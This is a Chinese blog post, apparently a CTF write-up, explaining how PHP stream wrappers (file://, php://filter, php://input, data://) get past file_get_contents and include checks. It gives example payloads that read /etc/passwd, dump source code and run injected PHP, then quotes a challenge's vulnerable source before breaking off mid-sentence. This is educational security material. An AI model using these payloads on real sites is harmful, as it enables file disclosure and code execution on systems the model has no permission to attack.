20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)

本文介绍了如何利用CTF比赛中遇到的file_get_contents函数,通过file://, php://, data://等伪协议进行路径绕过和代码执行。详细探讨了各个协议的作用和实例,包括数据流的读写以及POST数据中的PHP代码执行。通过实例展示了如何构造payload,成功获取目标信息。" 112682983,10547216,Springboot启动自动打开浏览器,"['Spring框架', 'Web开发', 'Java']

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CTF中常用的php伪协议利用
        </h1>
        <div class="clear"></div>
        <div class="postBody">

file://#

作用:

用于访问文件(绝对路径、相对路径、网络路径)

示例:

http://www.xx.com?file=file:///etc/passswd

php://#

作用:

访问输入输出流

1. php://filter

作用:

读取源代码并进行base64编码输出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

参数:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

2. php://input

作用:

执行POST数据中的php代码

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:<?php phpinfo()?>

注意:

enctype="multipart/form-data" 的时候 php://input 是无效的

data://#

作用:

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

实例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)#

打开网址,给了源码

  
  
  
Copy
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
  • 代码示意我们要get传参text,file,password
  • 通过初步观察,可基本确定text要求传入文件,且文件内容为:welcome to the zjctf、file传入一个文件名,通过include($file)包含进来、password未知

伪协议第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值